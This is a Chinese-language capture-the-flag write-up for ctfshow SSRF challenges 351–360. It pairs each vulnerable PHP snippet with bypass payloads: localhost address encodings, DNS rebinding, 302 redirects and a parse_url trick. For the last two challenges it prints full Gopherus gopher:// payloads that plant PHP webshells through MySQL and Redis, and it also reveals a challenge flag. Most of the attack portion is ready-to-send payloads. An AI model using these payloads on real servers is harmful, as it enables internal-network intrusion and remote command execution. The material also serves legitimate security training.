SSRF_CTF show
351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close()函数使用。
curl_init():初始curl会话
curl_setopt():会话设置
curl_exec():执行curl会话,获取内容
curl_close():会话关闭
直接访问flag.php会提示 非本地用户禁止访问
url=file:///var/www/html/flag.php
url=127.1/flag.php
<?php
$flag="ctfshow{9e265fe1-32ab-48b7-a145-0a85a6110f26}";
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo $flag;
}
else{
die("非本地用户禁止访问");
}
352~353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
if (!preg_match('/localhost|127.0.0/')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
if (!preg_match('/localhost|127\.0\.|\。/i', $url)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
parse_url ( string
$url
[, int$component
= -1 ] )本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
本函数不是用来验证给定 URL 的合法性的,只是将其分解为几部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。
进制绕过:
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
……
354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
if (!preg_match('/localhost|1|0|。/i', $url)) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
DNS-Rebinding攻击绕过
url=http://r.xxxzc8.ceye.io/flag.php 自己去ceye.io注册绑定127.0.0.1然后记得前面加r
DNS解析
还能把自己域名绑定为127.0.0.1
或者有个现成的绑定为127.0.0.1的网站
http://sudo.cc
302跳转绕过也行,在自己的网站主页加上这个
<?php
header("Location:http://127.0.0.1/flag.php");
355~356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
$host = $x['host'];
if ((strlen($host) <= 5)) { //356题为(strlen($host) <= 3)
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else {
die('hacker');
}
} else {
die('hacker');
}
限制了主机名的长度。
url=http://0/flag.php
url=http://127.1/flag.php
357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
$ip = gethostbyname($x['host']);
echo '' . $ip . '';
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
} else {
die('scheme');
}
gethostbyname ( string
$hostname
) : string返回主机名
hostname
对应的 IPv4 互联网地址。
使用过滤器来过滤了主机名,简单说就是不能是私域IP
filter_var() 函数通过指定的过滤器过滤变量
FILTER_VALIDATE_IP - 把值作为 IP 地址来验证。
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
用web354说过的302跳转即可解题,需要自己域名绑定服务器,因为gethostbyname()
或者去http://ceye.io/,添加个DNS Rebinding为任意ip,再添加一个为127.0.0.1,否则payload打过去会直接显示127.0.0.1 ip!
然后POST:(记得在分配的域名前面加个r.),多POST几次就可以了,利用的是时间差,详见原理
url=http://r.xxxxxx.ceye.io/flag.php
358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
url=http://ctf.@0/flag.php?show
359
//打无密码的mysql
根据所传参数猜测有ssrf漏洞
┌──(root??kali)-[/]
└─# gopherus --exploit mysql
For making it work username should not be password protected!!!
Give MySQL username: root
Give query to execute: select '<?php eval($_POST["cmd"]); ?>' into outfile "/var/www/html/1.php";
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%63%6d%64%22%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01
-----------Made-by-SpyD3r-----------
#需要再对gopher://127.0.0.1:3306/_后面的进行url编码,因为curl会默认解码一次
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2522%2563%256d%2564%2522%255d%2529%253b%2520%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501
360
//打redis
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
┌──(root??kali)-[~]
└─# gopherus --exploit redis
Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html): Give PHP Payload (We have default PHP Shell):
Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
-----------Made-by-SpyD3r-----------